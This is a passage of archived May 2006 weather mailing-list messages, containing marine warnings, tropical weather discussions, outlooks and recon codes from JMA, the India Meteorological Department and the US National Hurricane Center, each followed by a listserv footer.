45 KNOTS WITHIN 1000 MILES OF LOW NORTHEAST SEMICIRCLE AND 500 MILES ELSEWHERE. WARNING. DENSE FOG OBSERVED LOCALLY OVER SEA OF OKHOTSK WESTERN PART OF SEA OF JAPAN. WARNING. DENSE FOG OBSERVED LOCALLY OVER WATERS BOUNDED BY 30N 148E 40N 154E 44N 147E 47N 152E 55N 161E 60N 163E 60N 180E 34N 180E 30N 160E 30N 148E. SUMMARY. LOW 986 HPA AT 59N 150E NE SLOWLY. LOW 1018 HPA AT 36N 170E WEST 10 KT. LOW 1016 HPA AT 31N 179E NORTH SLOWLY. HIGH 1016 HPA AT 38N 137E EAST 15 KT. HIGH 1020 HPA AT 31N 165E ESE SLOWLY. STATIONARY FRONT FROM 25N 103E TO 26N 107E 30N 111E 33N 117E 39N 122E 38N 127E. JAPAN METEOROLOGICAL AGENCY.= +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 03:29:20 -0500",Indian-S: Systems Are Likely To Move Ene Wards (.),"WWIN40 DEMS 210300 I W B 21TH MNG: THE CYCIR OVER OVER WC AND ADJ EC BAY BET 1.5 AND 5.8 KM ASL NOW LIES OVER EC AND ADJ WC BAY (.) THE WD AS AN U/A SYSTEM OVER J & K PERSISTS AND EXTDNS UPTO 4.5 KM ASL (.) THE CYCIR OVER PJB AND N/H NOW LIES OVER UTNCHL AND ADJ W-UP AND EXTDNS UPTO 2.1 KM ASL (.) SYSTEMS ARE LIKELY TO MOVE ENE WARDS (.) THE TRGH AT 0.9 KM ASL FROM PJB TO NMMT NOW EXTDNS FROM NW-RAJ TO NMMT THROUGH HARYANA UP AND BIHAR (.) A CYCIR LIES OVER BIHAR AND N/H AND EXTDNS UPTO 5.8 KM ASL (.) FORECAST:- RAIN/THRS ARE LIKELY TO OCCUR AT MOST PLACES IN A/N IDS; AT FEW PLACES IN ARU-PR ASSAM/MEGHA NMMT WB/SKM ORISSA JRKND BIHAR KERALA AND LKSDP AT ISOLATED PLACES IN UP UTNCHL HARYANA PJB HP J & K N-RAJ MP VIDH CHTGH C-AP T-NADU COTL AND SIK (.) MAINLY DRY WX WILL PREVAIL OVER THE REST OF THE COUNTRY (.) HRW: ISOLATED VERY HEAVY RAIN IS LIKELY TO OCCUR OVER IN A/N IDS DURING NEXT 48 HRS(.) = +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 04:17:57 -0500",Indian-S:,"FQIN01 DEMS 210900 SHIPPING BULLETIN FOR MET. AREA VIII(N) NORTH OF EQUATOR VALID FOR 24 HRS. FROM 2006 05 21 0900 UTC 21 MAY 2006 PART-I :-NO STORM WARNING (.) PART-II:-WEATHER SEASONAL OVER REST MET AREA VIII(N)(.) PART-III:- FORECAST ARB-A1 ARABIAN SEA EQUATOR TO 10 DEG.N. WEST OF 80 DEG E. I)WIND:-SW/W 15/20 KTS (.) II)WEATHER:-SCATTERED RA/TS (.) III)VISIBILITY:-POOR IN RA/TS(.) IV) STATE OF SEA:- MODERATE (.) ARB-A2 ARABIAN SEA NORTH OF 10 DEG.N. I)WIND:-SW/W 10/15 KTS BEC NW-LY TO THE E OF 72 DEG E(.) II)WEATHER:- FAIR (.) III)VISIBILITY:- GOOD (.) IV) STATE OF SEA:- SLIGHT TO MODERATE(.) BOB-A3-BAY OF BENGAL EQUATOR TO 10 DEG.N.EAST OF 80 DEG E. I)WIND:-MAINLY SW-LY 25/30 KTS (.) II)WEATHER:- WIDESPREAD RA/TS (.) III)VISIBILITY:- POOR IN RA/TS (.) IV)STATE OF SEA:- ROUGH TO VERY ROUGH(.) BOB-A4-BAY OF BENGAL NORTH OF 10 DEG.N. I)WIND:-SW/W 10/15 KTS (.) II)WEATHER:-FAIRLY WIDESPREAD RA/TS (.) III)VISIBILITY:- POOR IN RAIN (.) IV)STATE OF SEA:- SLIGHT TO MODERATE (.) ISSUED BY INDIA METEOROLOGICAL DEPARTMENT +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 04:25:27 -0500",Pacific-EN: Tropical Weather Discussion,"AXPZ20 KNHC 210925 TWDEP TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 1005 UTC SUN MAY 21 2006 TROPICAL WEATHER DISCUSSION FOR THE EASTERN PACIFIC OCEAN FROM THE EQUATOR TO 32N...EAST OF 140W. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR...AND METEOROLOGICAL ANALYSIS. BASED ON 0600 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 0845 UTC. ..ITCZ... ITCZ AXIS ALONG 8N81W 11N105W 11N119W 7N130W 7N140W. SCATTERED MODERATE AND ISOLATED STRONG CONVECTION NEAR 6N78W 6N84W 5N89W AND 9N95W. SCATTERED MODERATE WITHIN 60 NM OF 9N105W. SCATTERED MODERATE WITHIN 90 NM OF A LINE FROM 11N116W TO 8N128W TO 9N140W. ..DISCUSSION... UPPER LEVELS... A LARGE UPPER VORTEX LOCATED NEAR 35N130W WITH A CIRCULATION DOWN TO 20N AND W OF 115W. THE CENTER IS MOVING SLOWLY E. THE SYSTEM APPEARS CUT OFF BUT THERE STILL IS A GOOD SUPPLY OF NLY COLD AIR ON THE WEST SIDE TONIGHT. A WEAK UPPER RIDGE LIES BETWEEN 10N AND 20N AND EXTENDS NE OVER NW MEXICO. A WEAK TROUGH CONTINUES OVER THE S CENTRAL PORTION OF MEXICO EXTENDING TO 17N105W. LATER TODAY THE STRONG VORTEX WILL BEGIN TO MOVE MORE ELY BUT IT WILL STILL DOMINATE THE REGION N OF 20N. LITTLE CHANGE TO THE OTHER FEATURES. BY LATE DAY 2 THE UPPER VORTEX SWINGS INLAND OVER SRN CA..NRN BAJA AND NW MEXICO. THE UPPER FLOW W OF THE TROUGH BECOMES MORE WLY BUT STILL AFFECTS TO THE REGION N OF 20N. THE UPPER RIDGE CONTINUES OVER SW MEXICO DAY 2 WHILE THE WEAK UPPER TROUGH OVER S CENTRAL MEXICO MOVES SLOWLY EWD. SURFACE FEATURES... A COLD FRONT ASSOCIATED WITH A LOW CENTER JUST N OF THE AREA ENTERS THE REGION NEAR 30N125W AND EXTENDS SW TO NEAR 22N135W. THE FRONT IS MOVING E AND SE ABOUT 10 TO 15 KT. A BAND OF MID LEVEL CLOUDS ABOUT 100 NM WIDE ACCOMPANIES THE FRONT. BEHIND THE FRONT IS A LARGE AREA OF BROKEN LOW TO MID LEVEL STRATOCUMULUS. W OF THE FRONT NW TO N WINDS INCREASE 20 TO 25 KT. SEAS BUILD 9 TO 12 FT WITH NW SWELL. AREAS OF CONVECTION ARE ACTIVE ON THE ITCZ BUT THERE IS NO ORGANIZATION AT THIS TIME. LATER TODAY THE FRONT WILL MOVE TO NEAR 30N122W EXTENDING SSW TO NEAR 20N128W. GUSTY NW WINDS TO 25 KT WILL CONTINUE WITH NW SWELL INCREASING 10 TO 15 FT. BY LATE DAY 2 THE FRONT WILL BEGIN DISSIPATING AS IT MOVES INLAND. WINDS ARE FORECAST TO DIMINISH TO 15 KT BEHIND THE FRONT N OF 25N. NW SWELL OF 9 TO 11 FT WILL MOVE SE AND COVER AN AREA N OF 20N AND W OF 120W. $$ RRG +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 04:44:59 -0500",SEAFCST: High Seas Forecast (Automatic),"134 FZNT01 KWBC 210944 HSFAT1 CCODE/1:31:04:01:00/AOW/NWS/CCODE HIGH SEAS FORECAST FOR METAREA IV NATIONAL WEATHER SERVICE WASHINGTON DC/TPC MIAMI FL OCEAN PREDICTION CENTER/OFB 1030 UTC MAY 21 2006 SUPERSEDED BY NEXT ISSUANCE IN 6 HOURS SECURITE NORTH ATLANTIC NORTH OF 31N TO 67N AND WEST OF 35W. SYNOPSIS VALID 0600 UTC MAY 21. 24 HOUR FORECAST VALID 0600 UTC MAY 22. 48 HOUR FORECAST VALID 0600 UTC MAY 23. WARNINGS. ...GALE WARNING... .24 HOUR FORECAST NEW LOW 50N 55W 1001 MB. FORECAST FRONT TO EXTEND FROM LOW CENTER TO 48N 50W TO 43N 40W. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 13 FT WITHIN 240 NM N OF FRONT W OF 43W. .48 HOUR FORECAST LOW AND CONDITIONS ABSORBED FORECAST LOW 49N 55W. ...GALE WARNING... .24 HOUR FORECAST COMPLEX LOW WITH MAIN LOW 42N 64W 999 MB AND SECOND LOW INLAND 45N 69W 996 MB. FORECAST WINDS 20 TO 30 KT SEAS 8 TO 10 FT WITHIN 360 NM S AND SE QUADRANTS OF MAIN LOW. .30 HOUR FORECAST COMPLEX LOW WITH MAIN LOW 43N 60W 996 MB AND SECOND LOW 45N 67W 993 MB. FORECAST FRONT FROM MAIN LOW TO 39N 60W TO 35N 65W TO 33N 70W. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 14 FT WITHIN 420 NM S AND SE QUADRANTS OF MAIN LOW...AND WITHIN 240 NM E OF FRONT N OF 35N. .48 HOUR FORECAST LOW 48N 55W 987 MB. FORECAST WINDS 25 TO 40 KT SEAS 8 TO 18 FT WITHIN 420 NM S AND 480 NM NE QUADRANTS. ALSO FORECAST WINDS 20 TO 30 KT SEAS 8 TO 15 FT WITHIN 720 NM SE AND 660 NM S QUADRANTS...AND WITHIN 540 NM N AND NE QUADRANTS. .SYNOPSIS AND FORECAST. .AREA OF WINDS TO 25 KT SEAS TO 9 FT WITHIN 300 NM NE OF A LINE EXTENDING FROM 47N 58W TO 42N 50W. .24 HOUR FORECAST CONDITIONS ABSORBED BY FORECAST LOW 48N 55W. .AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 42N TO 49N BETWEEN 49W AND 60W. .24 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 43N TO 52N BETWEEN 43W AND 56W. .48 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 42N TO 55N BETWEEN 40W AND 56W. .HIGH 52N 44W 1027 MB MOVING SE 15 KT. .24 HOUR FORECAST HIGH 48N 34W 1024 MB. .48 HOUR FORECAST HIGH E OF AREA. .HIGH 31N 39W 1026 MB WILL DRIFT SW. .24 HOUR FORECAST HIGH S OF AREA. .FORECASTER ROWLAND. OCEAN FORECAST BRANCH. ATLANTIC FROM 7N TO 31N W OF 35W INCLUDING CARIBBEAN SEA AND GULF OF MEXICO SYNOPSIS VALID 0600 UTC SUN MAY 21 24 HOUR FORECAST VALID 0600 UTC MON MAY 22 48 HOUR FORECAST VALID 0600 UTC TUE MAY 23 .WARNINGS. .NONE. .SYNOPSIS AND FORECAST. .ATLC S OF LINE 25N35W 15N55W NE WINDS 20 KT SEAS TO 8 FT. .24 HOUR FORECAST S OF 24N E OF 50W NE TO E WINDS 20 KT SEAS TO 8 FT. .48 HOUR FORECAST S OF 21N E OF 50W NE TO E WINDS TO 20 KT SEAS TO 8 FT. .CARIBBEAN FROM 11N TO 16N BETWEEN 68W AND 77W NE TO E WINDS 20 TO 25 KT SEAS TO 9 FT. .24 HOUR FORECAST LITTLE CHANGE. .48 HOUR FORECAST FROM 11N TO 15N BETWEEN 65W AND 78W NE TO E WINDS 20 TO 25 KT SEAS 8 TO 10 FT. .REMAINDER OF AREA WINDS LESS THAN 20 KT SEAS LESS THAN 8 FT. $$ FORECASTER DGS TROPICAL ANALYSIS AND FORECAST BRANCH TROPICAL PREDICTION CENTER +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 05:12:20 -0500",Pacific-EN: Tropical Weather Outlook,"ABPZ20 KNHC 211012 TWOEP TROPICAL WEATHER OUTLOOK NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 400 AM PDT SUN MAY 21 2006 FOR THE EASTERN NORTH PACIFIC...EAST OF 140 DEGREES WEST LONGITUDE.. TROPICAL STORM FORMATION IS NOT EXPECTED THROUGH MONDAY. FORECASTER KNABB $$ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 """NHC Mail (E Pacific Full)"" ",,"Sun, 21 May 2006 10:20:01 +0000",Tropical Weather Outlook,"000 ABPZ20 KNHC 211012 TWOEP TROPICAL WEATHER OUTLOOK NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 400 AM PDT SUN MAY 21 2006 FOR THE EASTERN NORTH PACIFIC...EAST OF 140 DEGREES WEST LONGITUDE.. TROPICAL STORM FORMATION IS NOT EXPECTED THROUGH MONDAY. FORECASTER KNABB $$ ------------------------------------------------------------------ To unsubscribe from this mailing list, visit: http://www.nhc.noaa.gov/unsub/mail-storm-epac-full.shtml?webmastr@kukui.ifa.hawaii.edu or send an empty message to: ------------------------------------------------------------------ This information is provided as a public service from the Tropical Prediction Center / National Hurricane Center http://www.nhc.noaa.gov PLEASE NOTE: Timely delivery of this email is NOT GUARANTEED. DISCLAIMER: http://www.weather.gov/disclaimer.php PRIVACY: http://www.weather.gov/privacy.php FEEDBACK: mail-storm@seahorse.nhc.noaa.gov",0,1 SIU Weather Processor ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 05:25:06 -0500",TROPDISC: Tropical Weather Discussion,"229 AXNT20 KNHC 211024 TWDAT TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 805 AM EDT SUN MAY 21 2006 TROPICAL WEATHER DISCUSSION FOR NORTH AMERICA...CENTRAL AMERICA...THE GULF OF MEXICO...THE CARIBBEAN SEA...NORTHEASTERN SECTIONS OF SOUTH AMERICA...AND THE ATLANTIC OCEAN TO THE AFRICAN COAST FROM THE EQUATOR TO 32N. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR... AND METEOROLOGICAL ANALYSIS. BASED ON 0600 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 1015 UTC. ..TROPICAL WAVES... TROPICAL WAVE IS ALONG 27W S OF 7N MOVING W 15 KT. THIS LOW-LATITUDE WAVE IS EMBEDDED WITHIN THE ITCZ. THERE IS SOME CYCLONIC TURNING ASSOCIATED WITH THIS WAVE BUT IT IS RATHER BROAD AND LESS DISCERNIBLE THAN YESTERDAY. THE WAVE WILL LIKELY REMAIN ILL DEFINED AS IT MOVES WESTWARD IN A DRY ENVIRONMENT. TROPICAL WAVE IS ALONG 52W S OF 7N MOVING W 15-20 KT. THIS WAVE STILL HAS SOME SIGNATURE OF AN INVERTED V-PATTERN EMBEDDED WITHIN THE ITCZ. MUCH OF THE WAVE IS NOW INLAND OVER S AMERICA. SCATTERED MODERATE CONVECTION IS WITHIN 180 NM W OF THE WAVE AXIS FROM 5N-8N. WIDELY SCATTERED SHOWERS AND ISOLATED TSTMS ARE ELSEWHERE. LITTLE IMPACT IS EXPECTED IN THE CARIBBEAN FROM THIS WAVE OVER THE NEXT 3-5 DAYS AS THE MAJORITY OF THE MOISTURE IS EXPECTED TO MOVE ACROSS S AMERICA. TROPICAL WAVE ALONG 87W S OF 13N MOVING W 10-15 KT. THIS WAVE IS MAINLY IN THE EPAC BUT ITS NORTHERN EXTENSION LIES OVER CENTRAL AMERICA. A WEAK BROAD 1009 MB LOW HAS DEVELOPED ALONG THE WAVE AXIS NEAR 9N. THE WAVE IN CONJUNCTION WITH STRONG SWLY FLOW AND A SFC TROUGH IS PRODUCING CLUSTERS OF SCATTERED MODERATE TO STRONG CONVECTION ACROSS THE SW CARIBBEAN AND CENTRAL AMERICA. THIS FEATURE IS NOT EXPECTED TO BECOME MUCH BETTER DEFINED OVER THE NEXT COUPLE OF DAYS AS MOVES FURTHER W ACROSS THE EPAC. ..ITCZ... ITCZ AXIS IS CENTERED ALONG 10N13W 3N25W 2N40W 4N51W. SCATTERED MODERATE CONVECTION IS WITHIN 120 NM EITHER SIDE OF THE AXIS BETWEEN 20W-28W ASSOCIATED WITH THE TROPICAL WAVE ALONG 27W. SIMILAR CONVECTION IS WITHIN 120 NM N OF THE AXIS BETWEEN 32W-41W. SCATTERED SHOWERS/ISOLATED TSTMS ARE W OF 46W WITHIN 180 NM EITHER SIDE OF THE AXIS ENHANCED BY THE TROPICAL WAVE ALONG 52W. ..DISCUSSION... GULF OF MEXICO... QUIET WEATHER CONTINUES ACROSS MUCH OF THE AREA AS A 1017 MB HIGH PRES SYSTEM REMAINS CENTERED IN THE E GULF NEAR 27N86W. IN THE UPPER LEVELS...UPPER TROUGH EXTENDS FROM A SMALL UPPER LOW OVER N MEXICO NEAR 25N98W EWD TO NORTHERN FLORIDA. STRONG SUBSIDENCE AND ASSOCIATED DRY/STABLE AIR ALOFT ACCOMPANIES THE TROUGH DUE TO UPPER LEVEL CONFLUENCE KEEPING SKIES FAIR TO MOSTLY CLEAR ACROSS THE N GULF. BROKEN MID-HIGH LEVEL CLOUDINESS IS STREAMING NEWARD FROM S MEXICO TO S FLORIDA DRIVEN BY A JET STREAM BRANCH ON THE W PERIPHERY OF AN UPPER ANTICYCLONE IN THE CARIBBEAN. WEAK HIGH PRESSURE WILL REMAIN ACROSS THE GULF FOR THE NEXT FEW DAYS...HOWEVER TROPICAL MOISTURE ACROSS THE NW CARIBBEAN WILL PUSH FURTHER NORTH AND BEGIN TO INFLUENCE THE SOUTHERN PORTIONS OF THE GULF LATER TODAY...AND POSSIBLE BECOME MORE WIDESPREAD OVER THE CENTRAL AND EASTERN GULF ON MON/TUES. CARIBBEAN SEA AND ATLANTIC OCEAN W OF 55W... AN UPPER LEVEL TROUGH/RIDGE PATTERN REMAINS IN PLACE ACROSS THIS AREA. THE DEEP-LAYERED TROUGH COVERS THE N GULF AND W ATLC N OF 28N. AT THE SURFACE...THE FRONT HAS WEAKENED TO A TROUGH IN THE DISCUSSION AREA AND EXTENDS FROM 32N58W SWARD TO THE BAHAMAS NEAR 23N75W THEN CONTINUES SSWWARD INTO THE W CARIBBEAN TO NEAR NICARAGUA. BROKEN TO OVERCAST MID/HIGH LEVEL CLOUDINESS ALONG WITH WIDELY SCATTERED SHOWERS AND ISOLATED TSTMS ARE WITHIN 90 NM EITHER SIDE OF THE TROUGH N OF 23N. CLUSTERS OF STRONG TSTMS ARE OVER THE W CARIBBEAN WITHIN 180 NM W OF THE TROUGH AXIS S OF 22N. FARTHER E...A MID/UPPER HIGH IS LOCATED JUST N OF HAITI NEAR 21N72W WITH RIDGING EXTENDING SW TO HONDURAS AND NE TO BEYOND 32N50W. A 60-80 KT SWLY JET STREAM IS RIDING OVER THE THE UPPER ANTICYCLONE AND EXTENDS FROM THE E BAY OF CAMPECHE NORTHEASTWARD T0 S FLORIDA AND CONTINUES NEWARD BEYOND 32N58W. WINDS IN THE RANGE OF 60-80 KT ARE NOTED WITHIN THIS JET MAINLY W OF 65W. STRONG SUBSIDENCE IS ENCOMPASSING MUCH OF THE CARIBBEAN S OF 19N AND CURRENTLY E OF 82W...PUSHING WWARD. TRADEWINDS ARE GENERALLY IN THE 15-20 KT RANGE E OF 80W...LIGHTER WINDS W OF THERE DUE TO THE WEAKNESS IN THE RIDGE. TRADES WILL BECOME MORE UNIFORM AND INCREASE SLIGHTLY AS THE CNTRL ATLC SFC RIDGE EDGES A LITTLE CLOSER. MOISTURE RELATED TO THE SURFACE TROUGH WILL MOVE WWD TOWARDS THE YUCATAN LATER TODAY AND WILL LIKELY AFFECT THE NW CARIBBEAN AND THE W ATLC OVER THE NEXT FEW DAYS. THE LARGE VOLCANIC ASH CLOUDS DETECTED YESTERDAY OVER THE E CARIBBEAN DUE TO AN ERUPTION OF THE MONTSERRAT VOLCANO SAT MORNING IS STILL EVIDENT ON SATELLITE IMAGERY BUT IS BREAKING UP FROM 66W-72W FROM 12N-17N. THE REMAINDER OF ATLANTIC OCEAN... A SHARP UPPER LEVEL TROUGH IS OVER THE CNTRL ATLC WITH THE AXIS EXTENDING THRU 30N44W THROUGH AN UPPER LOW NEAR 21N48W AND INTO THE DEEP TROPICS NEAR 10N54W. THE UPPER LOW IS HELPING TO TRANSPORT UPPER MOISTURE FROM THE DEEP TROPICS NEWARD WITHIN 180 NM TO THE RIGHT OF A LINE ALONG 10N50W 20N44W 28N40W. AN UPPER HIGH IS NEAR 16N32W WITH MID/UPPER LEVEL RIDGING COVERING THE AREA S OF 17N AND E OF 37W. DIFFLUENCE S OF THE RIDGE IS ENHANCING ITCZ CONVECTION. AN UPPER TROUGH IS MOVING SE OVER EXTREME NW AFRICA. THIS TROUGH IS CARRYING MOISTURE FROM THE UPPER TROUGH IN THE CENTRAL ATLC RIDING OVER THE UPPER HIGH INTO W AFRICA. AT THE SFC...A STRONG SPRAWLING 1027 MB HIGH CENTERED NEAR 31N36W COVERS THE ENTIRE REGION SUPPLYING FAIR WEATHER ACROSS A GOOD PORTION OF THE ATLANTIC OCEAN. TRADE WINDS ARE RATHER STRONG ACROSS THE AREA AND WILL LIKELY REMAIN THAT WAY FOR THE NEXT FEW DAYS. $$ CANGIALOSI +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 09:20:30 -0500",Pacific-NW: Warning And Summary 211200.,"WWJP25 RJTD 211200 WARNING AND SUMMARY 211200. WARNING VALID 221200. WARNING IS UPDATED EVERY 6 HOURS. GALE WARNING. DEVELOPED LOW 1002 HPA AT 41N 159E FAR OFF EAST OF JAPAN MOVING NORTHEAST 15 KNOTS. WARM FRONT FROM 41N 159E TO 39N 162E 36N 162E. COLD FRONT FROM 41N 159E TO 35N 157E 31N 153E. STATIONARY FRONT FROM 31N 153E TO 30N 150E 27N 145E 24N 138E. WINDS 30 TO 45 KNOTS WITHIN 900 MILES OF LOW NORTHEAST SEMICIRCLE AND 500 MILES ELSEWHERE. ANOTHER LOW 1002 HPA AT 49N 158E MOVING NORTH 25 KNOTS. WARNING. DENSE FOG OBSERVED LOCALLY OVER SEA OF OKHOTSK WESTERN PART OF SEA OF JAPAN YELLOW SEA. WARNING. DENSE FOG OBSERVED LOCALLY OVER WATERS BOUNDED BY 43N 145E 47N 152E 55N 162E 60N 165E 60N 180E 33N 180E 30N 167E 30N 150E 43N 145E. SUMMARY. LOW 992 HPA AT 58N 149E ALMOST STATIONARY. LOW 1018 HPA AT 35N 170E ALMOST STATIONARY. LOW 1016 HPA AT 32N 180E NORTH SLOWLY. HIGH 1020 HPA AT 37N 142E ESE 25 KT. HIGH 1020 HPA AT 30N 167E SE 10 KT. STATIONARY FRONT FROM 25N 106E TO 27N 110E 30N 113E 34N 120E 39N 124E 38N 130E. JAPAN METEOROLOGICAL AGENCY.= +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 09:39:47 -0500",RECON: Recon Message,"179 URNT10 KNHC 211438 97779 14374 11292 94800 36500 15011 04851 /8018 RMK AF303 WXWXA 06052114303 OB 01 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 10:01:46 -0500",RECON: Recon Message,"629 URNT10 KNHC 211459 97779 14524 11283 94200 71900 11012 72938 /5753 RMK AF303 WXWXA 06052114303 OB 02 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 10:19:54 -0500",RECON: Recon Message,"966 URNT10 KNHC 211512 97779 15074 11275 93700 71900 99005 7391/ /5753 82668 81212 RMK AF303 WXWXA 06052114303 OB 03 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 10:33:29 -0500",RECON: Recon Message,"878 URNT10 KNHC 211525 97779 15224 11266 93100 72200 99005 71921 /5752 RMK AF303 WXWXA 06052114303 OB 04 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 10:37:56 -0500",Pacific-EN: Tropical Weather Discussion,"AXPZ20 KNHC 211537 TWDEP TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 1605 UTC SUN MAY 21 2006 TROPICAL WEATHER DISCUSSION FOR THE EASTERN PACIFIC OCEAN FROM THE EQUATOR TO 32N...EAST OF 140W. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR...AND METEOROLOGICAL ANALYSIS. BASED ON 1200 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 1515 UTC. ..TROPICAL WAVES... TROPICAL WAVE ALONG 88W/89W S OF 13N MOVING W 10-15 KT. AN 1130 UTC QUIKSCAT PASS INDICATES THAT A WEAK 1009 MB LOW IS LOCATED ALONG THE AXIS NEAR 9N BUT THE WIND FIELD IS STILL A LITTLE ELONGATED AND RATHER WEAK (10 KT OR LESS). SCATTERED SHOWERS/ TSTMS ARE DEVELOPING N OF THE LOW FROM 9N-13N BETWEEN 88W-91W... AND THERE IS CONVECTION FARTHER S ASSOCIATED WITH THE ITCZ. 